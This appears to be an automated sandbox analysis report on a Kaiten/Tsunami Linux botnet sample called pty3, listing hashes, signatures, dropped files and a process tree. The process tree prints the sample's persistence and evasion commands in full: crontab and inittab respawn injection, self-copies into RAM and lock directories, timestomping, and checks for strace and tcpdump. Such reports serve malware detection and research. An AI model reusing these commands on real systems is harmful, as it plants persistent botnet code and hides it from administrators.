Analysis

  • max time kernel
    2s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/07/2026, 00:26

General

  • Target
    pty3
  • Size 47KB
  • Sample260727-arn5rstckd
  • SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Kaiten,Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty3
    /tmp/pty3
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1468
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1469
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1470
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1473
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1474
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"
          2⤵
            PID:1482
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1485
              • /bin/grep
                grep -v /tmp/pty3
                3⤵
                  PID:1486
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1483
                  • /bin/grep
                    grep -v "no cron"
                    3⤵
                      PID:1490
                    • /bin/grep
                      grep /tmp/pty3
                      3⤵
                        PID:1488
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1487
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1493
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1494
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1484
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1489
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"
                              2⤵
                                PID:1491
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1495
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1496
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1497
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1498
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1499
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1500
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1503
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1505
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty3 /dev/shm/pty3"
                                            2⤵
                                              PID:1504
                                              • /bin/cp
                                                cp -f /tmp/pty3 /dev/shm/pty3
                                                3⤵
                                                • Writes file to shm directory
                                                PID:1506
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"
                                              2⤵
                                                PID:1508
                                                • /bin/cat
                                                  cat /etc/inittab
                                                  3⤵
                                                    PID:1510
                                                  • /bin/grep
                                                    grep -v /dev/shm/pty3
                                                    3⤵
                                                      PID:1511
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1509
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        3⤵
                                                          PID:1512
                                                        • /bin/grep
                                                          grep -v "no cron"
                                                          3⤵
                                                            PID:1514
                                                          • /bin/grep
                                                            grep /dev/shm/pty3
                                                            3⤵
                                                              PID:1513
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1518
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1519
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1515
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1516
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1520
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1521
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1522
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1523
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1524
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty3 /var/tmp/pty3"
                                                                        2⤵
                                                                          PID:1525
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty3 /var/tmp/pty3
                                                                            3⤵
                                                                            • Reads runtime system information
                                                                            PID:1526
                                                                        • /bin/sh
                                                                          sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"
                                                                          2⤵
                                                                            PID:1528
                                                                            • /bin/grep
                                                                              grep -v /var/tmp/pty3
                                                                              3⤵
                                                                                PID:1531
                                                                              • /bin/cat
                                                                                cat /etc/inittab
                                                                                3⤵
                                                                                  PID:1530
                                                                              • /bin/sh
                                                                                sh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                2⤵
                                                                                  PID:1529
                                                                                  • /bin/grep
                                                                                    grep -v "no cron"
                                                                                    3⤵
                                                                                      PID:1534
                                                                                    • /usr/bin/crontab
                                                                                      crontab -l
                                                                                      3⤵
                                                                                        PID:1532
                                                                                      • /bin/grep
                                                                                        grep /var/tmp/pty3
                                                                                        3⤵
                                                                                          PID:1533
                                                                                        • /usr/bin/crontab
                                                                                          crontab -
                                                                                          3⤵
                                                                                          • Creates/modifies Cron job
                                                                                          PID:1538
                                                                                        • /usr/bin/crontab
                                                                                          crontab -l
                                                                                          3⤵
                                                                                            PID:1540
                                                                                        • /bin/sh
                                                                                          sh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"
                                                                                          2⤵
                                                                                            PID:1535
                                                                                          • /bin/sh
                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                            2⤵
                                                                                              PID:1536
                                                                                              • /bin/cat
                                                                                                cat /etc/inittab2
                                                                                                3⤵
                                                                                                  PID:1539
                                                                                              • /bin/sh
                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                2⤵
                                                                                                  PID:1541
                                                                                                  • /bin/rm
                                                                                                    rm -rf /etc/inittab2
                                                                                                    3⤵
                                                                                                      PID:1542
                                                                                                  • /bin/sh
                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                    2⤵
                                                                                                    • Indicator Removal: Timestomp
                                                                                                    PID:1543
                                                                                                    • /usr/bin/touch
                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                      3⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1544
                                                                                                  • /bin/sh
                                                                                                    sh -c "cp -f /tmp/pty3 /var/lock/pty3"
                                                                                                    2⤵
                                                                                                      PID:1545
                                                                                                      • /bin/cp
                                                                                                        cp -f /tmp/pty3 /var/lock/pty3
                                                                                                        3⤵
                                                                                                          PID:1546
                                                                                                      • /bin/sh
                                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"
                                                                                                        2⤵
                                                                                                          PID:1548
                                                                                                          • /bin/grep
                                                                                                            grep -v /var/lock/pty3
                                                                                                            3⤵
                                                                                                              PID:1551
                                                                                                            • /bin/cat
                                                                                                              cat /etc/inittab
                                                                                                              3⤵
                                                                                                                PID:1550
                                                                                                            • /bin/sh
                                                                                                              sh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                              2⤵
                                                                                                                PID:1549
                                                                                                                • /bin/grep
                                                                                                                  grep -v "no cron"
                                                                                                                  3⤵
                                                                                                                    PID:1554
                                                                                                                  • /bin/grep
                                                                                                                    grep /var/lock/pty3
                                                                                                                    3⤵
                                                                                                                      PID:1553
                                                                                                                    • /usr/bin/crontab
                                                                                                                      crontab -l
                                                                                                                      3⤵
                                                                                                                        PID:1552
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -
                                                                                                                        3⤵
                                                                                                                        • Creates/modifies Cron job
                                                                                                                        PID:1558
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1560
                                                                                                                      • /bin/sh
                                                                                                                        sh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"
                                                                                                                        2⤵
                                                                                                                          PID:1555
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                          2⤵
                                                                                                                            PID:1556
                                                                                                                            • /bin/cat
                                                                                                                              cat /etc/inittab2
                                                                                                                              3⤵
                                                                                                                                PID:1559
                                                                                                                            • /bin/sh
                                                                                                                              sh -c "rm -rf /etc/inittab2"
                                                                                                                              2⤵
                                                                                                                                PID:1561
                                                                                                                                • /bin/rm
                                                                                                                                  rm -rf /etc/inittab2
                                                                                                                                  3⤵
                                                                                                                                    PID:1562
                                                                                                                                • /bin/sh
                                                                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                  2⤵
                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                  PID:1563
                                                                                                                                  • /usr/bin/touch
                                                                                                                                    touch -acmr /bin/ls /etc/inittab
                                                                                                                                    3⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1564
                                                                                                                                • /bin/sh
                                                                                                                                  sh -c "cp -f /tmp/pty3 /var/run/pty3"
                                                                                                                                  2⤵
                                                                                                                                    PID:1565
                                                                                                                                    • /bin/cp
                                                                                                                                      cp -f /tmp/pty3 /var/run/pty3
                                                                                                                                      3⤵
                                                                                                                                        PID:1566
                                                                                                                                    • /bin/sh
                                                                                                                                      sh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"
                                                                                                                                      2⤵
                                                                                                                                        PID:1568
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v /var/run/pty3
                                                                                                                                          3⤵
                                                                                                                                            PID:1571
                                                                                                                                          • /bin/cat
                                                                                                                                            cat /etc/inittab
                                                                                                                                            3⤵
                                                                                                                                              PID:1570
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                            2⤵
                                                                                                                                              PID:1569
                                                                                                                                              • /bin/grep
                                                                                                                                                grep -v "no cron"
                                                                                                                                                3⤵
                                                                                                                                                  PID:1574
                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                  crontab -l
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1572
                                                                                                                                                  • /bin/grep
                                                                                                                                                    grep /var/run/pty3
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1573
                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                      crontab -
                                                                                                                                                      3⤵
                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                      PID:1578
                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                      crontab -l
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1580
                                                                                                                                                    • /bin/sh
                                                                                                                                                      sh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1575
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1576
                                                                                                                                                          • /bin/cat
                                                                                                                                                            cat /etc/inittab2
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1579
                                                                                                                                                          • /bin/sh
                                                                                                                                                            sh -c "rm -rf /etc/inittab2"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1581
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm -rf /etc/inittab2
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1582
                                                                                                                                                              • /bin/sh
                                                                                                                                                                sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                2⤵
                                                                                                                                                                • Indicator Removal: Timestomp
                                                                                                                                                                PID:1583
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1584

                                                                                                                                                            Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  pty3

                                                                                                                                                                  • Path /dev/shm/pty3
                                                                                                                                                                  • Size 47KB
                                                                                                                                                                  • SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                  inittab

                                                                                                                                                                  • Path /etc/inittab
                                                                                                                                                                  • Size 83B
                                                                                                                                                                  • SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab

                                                                                                                                                                  • Path /etc/inittab
                                                                                                                                                                  • Size 113B
                                                                                                                                                                  • SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 54B
                                                                                                                                                                  • SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 142B
                                                                                                                                                                  • SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  inittab2

                                                                                                                                                                  • Path /etc/inittab2
                                                                                                                                                                  • Size 25B
                                                                                                                                                                  • SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  tmp.0hgR9y

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.0hgR9y
                                                                                                                                                                  • Size 387B
                                                                                                                                                                  • SHA256 23e2d97b2f652590c6a384c311d7033975f858591ea2660c9fe6f6f4a8c8fbad
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.6Q85xt

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.6Q85xt
                                                                                                                                                                  • Size 344B
                                                                                                                                                                  • SHA256 75481185ad23689a96873521a0eea04566027b32b475209bafb342b5616489c7
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.GNIX6i

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.GNIX6i
                                                                                                                                                                  • Size 257B
                                                                                                                                                                  • SHA256 bd6a950f83052474eb34c3e06f62f5d452c6cd3e9f411e9f0cff772e971cf49f
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.QiABao

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.QiABao
                                                                                                                                                                  • Size 300B
                                                                                                                                                                  • SHA256 e2592c38cb437e1362d13267797c9a2767eabd042d86a4cd65a1ed0277a5a14b
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  tmp.x7GlLb

                                                                                                                                                                  • Path /var/spool/cron/crontabs/tmp.x7GlLb
                                                                                                                                                                  • Size 214B
                                                                                                                                                                  • SHA256 36ad8e5699e784c58e0affe35351b8eaa4013ee064cd5aaa1a9a2cea0bcd6fc5
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH